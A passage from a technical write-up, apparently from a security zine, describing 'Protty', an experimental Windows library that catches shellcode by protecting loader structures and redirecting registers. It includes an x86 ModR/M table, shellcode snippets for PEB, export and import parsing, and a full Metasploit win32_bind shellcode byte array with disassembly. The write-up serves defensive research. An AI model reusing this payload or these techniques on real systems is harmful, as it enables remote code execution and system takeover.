AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A2 A [disp32+EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A3 A [disp32+EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A4 A [disp32+[--][--]], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A5 A [disp32+EBP], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A6 A [disp32+ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A7 A [disp32+EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A8 A [disp32+EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A9 A [disp32+ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AA A [disp32+EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AB A [disp32+EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AC A [disp32+[--][--]], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AD A [disp32+EBP], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AE A [disp32+ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AF A [disp32+EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B0 A [disp32+EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B1 A [disp32+ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B2 A [disp32+EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B3 A [disp32+EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B4 A [disp32+[--][--]], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B5 A [disp32+EBP], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B6 A [disp32+ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B7 A [disp32+EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B8 A [disp32+EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B9 A [disp32+ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BA A [disp32+EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BB A [disp32+EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BC A [disp32+[--][--]], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BD A [disp32+EBP], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BE A [disp32+ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BF A [disp32+EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C0 A EAX/AX/AL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C1 A ECX/CX/CL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C2 A EDX/DX/DL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C3 A EBX/BX/BL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C4 A ESP/SP/AH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C5 A EBP/BP/CH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C6 A ESI/SI/DH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C7 A EDI/DI/BH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C8 A EAX/AX/AL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C9 A ECX/CX/CL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CA A EDX/DX/DL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CB A EBX/BX/BL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CC A ESP/SP/AH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CD A EBP/BP/CH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CE A ESI/SI/DH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CF A EDI/DI/BH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D0 A EAX/AX/AL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D1 A ECX/CX/CL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D2 A EDX/DX/DL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D3 A EBX/BX/BL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D4 A ESP/SP/AH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D5 A EBP/BP/CH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D6 A ESI/SI/DH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D7 A EDI/DI/BH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D8 A EAX/AX/AL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D9 A ECX/CX/CL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DA A EDX/DX/DL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DB A EBX/BX/BL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DC A ESP/SP/AH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DD A EBP/BP/CH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DE A ESI/SI/DH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DF A EDI/DI/BH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E0 A EAX/AX/AL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E1 A ECX/CX/CL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E2 A EDX/DX/DL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E3 A EBX/BX/BL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E4 A ESP/SP/AH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E5 A EBP/BP/CH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E6 A ESI/SI/DH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E7 A EDI/DI/BH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E8 A EAX/AX/AL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E9 A ECX/CX/CL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EA A EDX/DX/DL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EB A EBX/BX/BL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EC A ESP/SP/AH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A ED A EBP/BP/CH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EE A ESI/SI/DH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EF A EDI/DI/BH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F0 A EAX/AX/AL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F1 A ECX/CX/CL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F2 A EDX/DX/DL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F3 A EBX/BX/BL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F4 A ESP/SP/AH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F5 A EBP/BP/CH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F6 A ESI/SI/DH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F7 A EDI/DI/BH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F8 A EAX/AX/AL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F9 A ECX/CX/CL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FA A EDX/DX/DL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FB A EBX/BX/BL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FC A ESP/SP/AH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FD A EBP/BP/CH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FE A ESI/SI/DH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FF A EDI/DI/BH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
As you can see 03h covers "[EBX], EAX/AX/AL". And that's the thing we
needed.Now mechanism knows it should scan EAX and EBX registers and update
them if their values are "similiar" to address of "DECOYS". Of course the
register checking method could be more efficient (should also check more
opcodes etc. etc.) - maybe in next versions.
In the mechanism i have used the table listed above, anyway there is also
"another" ("primary") way to determine what registers are used. The way is
based on fact that ModR/M byte contains three fields of information (Mod,
Reg/Opcode, R/M). By checking bits of those entries we can determine what
registers are used by the instruction (surely interesting tables from
Intel manuals: "...Addressing Forms with the ModR/M Byte") I'm currently
working on disassembler engine, so all those codes related to "opcode
decoding" topic should be released in the nearest future. And probably if
Protty project will be continued i will exchange the z0mbie dissassembler
engine with my own, anyway his baby works very well.
If you are highly interrested in disassembling the instructions, check the
[8].
To see how it works, check following example:
;----------SNIP--------------------------------------------
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch] ; value changed by protector,ESI=DDDDDDDDh
lodsd ; load one dword <- causes exception
;----------SNIP--------------------------------------------
This example faults on "lodsd" instruction, because application is trying
to load 4 bytes from invalid location - ESI (because it was changed by
P2).
Prevention library takeovers the exception and checks the instruction.
This one is "lodsd" so instead of ModR/M byte (because there is no such
here) library checks the opcode. When it finds out it is "lodsd"
instruction, it scans and updates ESI. Finally the ESI (in this case) is
rewritten to 0241F28h (original) and the execution is continued including
the "BAD" instruction.
So that's how P2 works, a lot faster then its older brother P1.
--[ VI. Action - few samples of catched shellcodes
If you have studied descriptions of all of the mechanisms, it is
time to show where/when Protty prevents them.
Lets take a look at examples of all mechanisms described in paragraph IV.
PEB (Process Environment Block) parsing
---------------------------------------
;----------SNIP--------------------------------------------
mov eax,dword ptr fs:[30h] ; EAX is now PEB base
mov eax,dword ptr [eax+0ch] ; EAX+0Ch = PEB_LDR_DATA
mov esi,dword ptr [eax+1ch] ; get the first entry
^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
---- [P1-I1]
mov ebx,[esi+08h] ; EBX=ntdll imagebase
^^^^^^^^^^^^^^^^^
|
------- [P2-I1]
<rest code of PEB parser>
;----------SNIP--------------------------------------------
- Description for P1
In this example Protty catches the shellcode when the instruction marked
as [P1-I1] is executed. Since Protty has protected the PEB_LDR_DATA
region (it's marked as PAGE_NOACCESS) all references to it will
cause an access violation which will be filtered by Protty.
Here, shellcode is trying to get first entry from PEB_LDR_DATA structure,
this causes an exception and this way shellcode is catched - attack
failed.
- Description for P2
The mechanism is being activated when [P2-I1] instruction is being
executed. ESI value is redirected to invalid location so every
reference to it cause an access violation exception, this is
filtered by the installed prevention mechanism - in short words:
attack failed, shellcode was catched.
searching for kernel in memory
------------------------------
I think here code is not needed, anyway when/where protty will act in
this case? As you probably remember from paragraph IV the
kernel search code works together with SEH (structured exception handler)
frame. Everytime shellcode tries invalid location SEH frame handles the
exception and the search procedure is continued. When Protty is active
shellcode doesn't have any "second chance" - what does it mean? It means
that when shellcode will check invalid location (by using SEH) the
exception will be filtered by Protty mechanism, in short words shellcode
will be catched - attack failed.
There are also some shellcodes that search the main shellcode in memory
also using SEH frames. Generally the idea is to develop small shellcode
which will only search for the main one stored somewhere in memory. Since
here SEH frames are also used, such type of shellcodes will be also
catched.
export section parsing
----------------------
We are assuming that the attacker has grabbed the imagebase in unknown
way :) (full code in IV-th chapter - i don't want to past it here)
;----------SNIP--------------------------------------------
; EAX=imagebase of kernel32.dll
xor ebp,ebp ; zero the counter
mov ebx,[eax+3ch] ; get pe header
add ebx,eax ; normalize
<...snip...>
loop_it:
mov edi,[ecx] ; get one name
add edi,eax ; normalize
cmp dword ptr [edi+4],'Acor' ; is it GetP-rocA-ddress ?? :)
jne @l ; nope -> jump to @l
; yes it is
add esi,ebp ; add out counter
mov esi,[esi] ; get the address
^^^^^^^^^^^^^
|
---[I1]
add esi,eax ; normalize
int 3 ; ESI=address of GetProcAddress
@l:
<...snip...>
;----------SNIP--------------------------------------------
- Description for P1 and P2
Following example is being catched when [I1] instruction is being
executed - when it tries to read the address of GetProcAddress
from array with function addresses. Since function addresses array
is "protected" all references to it will cause access
violation exception, which will be filtered by the mechanism (like in
previous points). Shellcode catched, attack failed.
import section parsing
----------------------
;----------SNIP--------------------------------------------
;following example gets LoadLibraryA address from IAT
IMAGEBASE equ 00400000h
mov ebx,IMAGEBASE
mov eax,ebx
add eax,[eax+3ch] ; PE header
mov edi,[eax+80h] ; import RVA
^^^^^^^^^^^^^^^^^
|
----[I1]
add edi,ebx ; normalize
xor ebp,ebp
mov edx,[edi+10h] ; pointer to addresses
^^^^^^^^^^^^^^^^^
|
----[I2]
add edx,ebx ; normalize
<...snip...>
;----------SNIP--------------------------------------------
- Description for P1 and P2
After instruction marked as [I1] is executed, EDI should contain the
import section RVA, why should? because since the protection is
active import section RVA is faked. In next step (look at instruction
[I2]) this will cause access violation exception (because of the fact
that FAKED_IAT_RVA + IMAGEBASE = INVALID LOCATION) and the shellcode
will be catched. Attack failed also in this case.
There is also a danger that attacker can hardcode IAT RVA. For such
cases import section array of function names is also protected.
Look at following code:
;----------SNIP--------------------------------------------
<...snip...>
@loop:
mov eax,[esi]
^^^^^^^^^^^^^
|
--[I1]
add eax,ebx
add eax,2
cmp dword ptr [eax],'daoL' ; is this LoadLibraryA?
<...snip...>
;----------SNIP--------------------------------------------
Instruction [I1] is trying to access memory which is not accessible
(protection mechanism changed it) and in the result of
this exception is generated. Protty filters the access violation
and kills the shellcode - this attack also failed.
And the last example, some shellcode from metasploit.com:
win32_bind by metasploit.com
----------------------------
EXITFUNC=seh LPORT=4444 Size=348 Encoder=PexFnstenvSub
(replace "data" with "data" from protty_example/sample_bo.c then
recompile and run)
unsigned char data[] =
"\x31\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97"
"\x25\xaa\xb5\x83\xeb\xfc\xe2\xf4\x6b\x4f\x41\xfa\x7f\xdc\x55\x4a"
"\x68\x45\x21\xd9\xb3\x01\x21\xf0\xab\xae\xd6\xb0\xef\x24\x45\x3e"
"\xd8\x3d\x21\xea\xb7\x24\x41\x56\xa7\x6c\x21\x81\x1c\x24\x44\x84"
"\x57\xbc\x06\x31\x57\x51\xad\x74\x5d\x28\xab\x77\x7c\xd1\x91\xe1"
"\xb3\x0d\xdf\x56\x1c\x7a\x8e\xb4\x7c\x43\x21\xb9\xdc\xae\xf5\xa9"
"\x96\xce\xa9\x99\x1c\xac\xc6\x91\x8b\x44\x69\x84\x57\x41\x21\xf5"
"\xa7\xae\xea\xb9\x1c\x55\xb6\x18\x1c\x65\xa2\xeb\xff\xab\xe4\xbb"
"\x7b\x75\x55\x63\xa6\xfe\xcc\xe6\xf1\x4d\x99\x87\xff\x52\xd9\x87"
"\xc8\x71\x55\x65\xff\xee\x47\x49\xac\x75\x55\x63\xc8\xac\x4f\xd3"
"\x16\xc8\xa2\xb7\xc2\x4f\xa8\x4a\x47\x4d\x73\xbc\x62\x88\xfd\x4a"
"\x41\x76\xf9\xe6\xc4\x76\xe9\xe6\xd4\x76\x55\x65\xf1\x4d\xbb\xe9"
"\xf1\x76\x23\x54\x02\x4d\x0e\xaf\xe7\xe2\xfd\x4a\x41\x4f\xba\xe4"
"\xc2\xda\x7a\xdd\x33\x88\x84\x5c\xc0\xda\x7c\xe6\xc2\xda\x7a\xdd"
"\x72\x6c\x2c\xfc\xc0\xda\x7c\xe5\xc3\x71\xff\x4a\x47\xb6\xc2\x52"
"\xee\xe3\xd3\xe2\x68\xf3\xff\x4a\x47\x43\xc0\xd1\xf1\x4d\xc9\xd8"
"\x1e\xc0\xc0\xe5\xce\x0c\x66\x3c\x70\x4f\xee\x3c\x75\x14\x6a\x46"
"\x3d\xdb\xe8\x98\x69\x67\x86\x26\x1a\x5f\x92\x1e\x3c\x8e\xc2\xc7"
"\x69\x96\xbc\x4a\xe2\x61\x55\x63\xcc\x72\xf8\xe4\xc6\x74\xc0\xb4"
"\xc6\x74\xff\xe4\x68\xf5\xc2\x18\x4e\x20\x64\xe6\x68\xf3\xc0\x4a"
"\x68\x12\x55\x65\x1c\x72\x56\x36\x53\x41\x55\x63\xc5\xda\x7a\xdd"
"\x67\xaf\xae\xea\xc4\xda\x7c\x4a\x47\x25\xaa\xb5";
Disassembly:
0012FD68 90 NOP
0012FD69 90 NOP
0012FD6A 90 NOP
0012FD6B 90 NOP
0012FD6C 90 NOP
0012FD6D 90 NOP
0012FD6E 90 NOP
0012FD6F 90 NOP
0012FD70 90 NOP
0012FD71 90 NOP
0012FD72 90 NOP
0012FD73 31C9 XOR ECX,ECX
0012FD75 83E9 AF SUB ECX,-51
0012FD78 D9EE FLDZ
0012FD7A D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP-C]
0012FD7E 5B POP EBX
0012FD7F 8173 13 9725AAB5 XOR DWORD PTR DS:[EBX+13],B5AA2597
0012FD86 83EB FC SUB EBX,-4
0012FD89 ^E2 F4 LOOPD SHORT 0012FD7F ; DECODING LOOP
decoded data:
0012FD8B FC CLD
0012FD8C 6A EB PUSH -15
0012FD8E 4F DEC EDI
0012FD8F E8 F9FFFFFF CALL 0012FD8D ; [!]
0012FD94 60 PUSHAD
0012FD95 8B6C24 24 MOV EBP,DWORD PTR SS:[ESP+24]
0012FD99 8B45 3C MOV EAX,DWORD PTR SS:[EBP+3C]
0012FD9C 8B7C05 78 MOV EDI,DWORD PTR SS:[EBP+EAX+78]
0012FDA0 01EF ADD EDI,EBP
0012FDA2 8B4F 18 MOV ECX,DWORD PTR DS:[EDI+18]
0012FDA5 8B5F 20 MOV EBX,DWORD PTR DS:[EDI+20]
0012FDA8 01EB ADD EBX,EBP
...
[!] 0012FD8F (calls) -> 0012FD8D (jumps) -> 0012FDDE
(PARSING PEB BLOCK ROUTINE)
0012FDDE 31C0 XOR EAX,EAX
0012FDE0 64:8B40 30 MOV EAX,DWORD PTR FS:[EAX+30]
0012FDE4 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C]
0012FDE7 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] ; [!!-P1]
0012FDEA AD LODS DWORD PTR DS:[ESI] ; [!!-P2]
[!!-P1] - protty (P1) takeovers the program execution when instruction
at 0012FDE7h (MOV ESI,DWORD PTR DS:[EAX+1C]) is being
executed, application is terminated, attack failed.
[!!-P2] - P2 works like above, but the execution is redirected when lodsd
instruction is executed.
--[ VII. Bad points (what you should know) - TODO
I have tested Protty2 (P2) with:
- Microsoft Internet Explorer
- Mozilla Firefox
- Nullsoft Winamp
- Mozilla Thunderbird
- Winrar
- Putty
- Windows Explorer
and few others applications, it worked fine with 2-5 module protected
(the standard is 2 modules NTDLL.DLL and KERNEL32.DLL), with not much
bigger CPU usage! You can define the number of protected modules etc.
etc. to make it suitable for your machine/software. The GOOD point is
that protected memory region is not requested all the time, generally
only on loading new modules (so it don't eat CPU a lot).
However there probably are applications which will not be working stable
with protty. I think decreasion of protection methods can make the
mechanism more stable however it will also decrease the security level.
Anyway it seems to be more stable than XP SP2 :)) I'm preparing for
exams so I don't really have much time to spend it on Protty, so while
working with it remember this is a kind of POC code.
TODO:
!!! DEFINETLY IMPORTANT !!!
- add SEH all chain checker
- code optimization, less code, more *speeeeeed *
- add vectored exception handling checker
- add some registry keys/loaders to inject it automatically to
started application
(if anybody want to play with Protty1):
- add some align calculation procedure for VirtualProtect, to describe
region size more deeply.
Anyway I made SAFE_MEMORY_MODE (new!), here is the description:
When protty reaches the point where it checks the memory region
which caused exception, it checks if it's protected.
Due to missing of align procedure for (VirtualProtect), Protty region
comparing procedure can be not stable (well rare cases :)) - and
to prevent such cases i made SAFE_MEMORY_MODE.
In this case Protty doesn't check if memory which caused exception
is laying somewhere inside protected region table. Instead of this
Protty gets actual protection of this memory address (Im using
VirtualProtect - not the VirtualQuery because it fails on special
areas). Then it checks that actual protection is set to
PAGE_NOACCESS if so, Protty deprotects all protected regions and
checks the protection again, if it was changed it means that
requested memory lays somewhere inside of protected regions.
The rest of mechanism is the same (i think it is even more
better then align procedure, anyway it seems to work well)
(you can turn on safe mode via editing the prot/conf.inc and rebuilding
the library)
--[ VIII. Last words
In the end I would like to say there is a lot to do (this is a concept),
but I had a nice time coding this little thingie. It is based on pretty
new ideas, new technology, new stuffs. This description is short and not
well documented, like I said better test it yourself and see the effect.
Sorry for my bad english and all the *lang* things. If you got any
comments or sth drop me an email.
Few thanks fliez to (random order):
- K.S.Satish, Artur Byszko, Cezary Piekarski, T, Bart Siedlecki, mcb
"some birds werent meant to be caged, their feathers are just too bright."
- Stephen King, Shawshank Redemption
--[ IX. References
[1] - VirtualQuery API
- msdn.microsoft.com/library/ en-us/memory/base/virtualquery.asp
[2] - MEMORY_BASIC_INFORMATION structure
- msdn.microsoft.com/library/en-us/ memory/base/memory_basic_
information_str.asp
[3] - IsBadWritePtr API
- msdn.microsoft.com/library/ en-us/memory/base/isbadwriteptr.asp
[4] - Detours library
- research.microsoft.com/sn/detours/
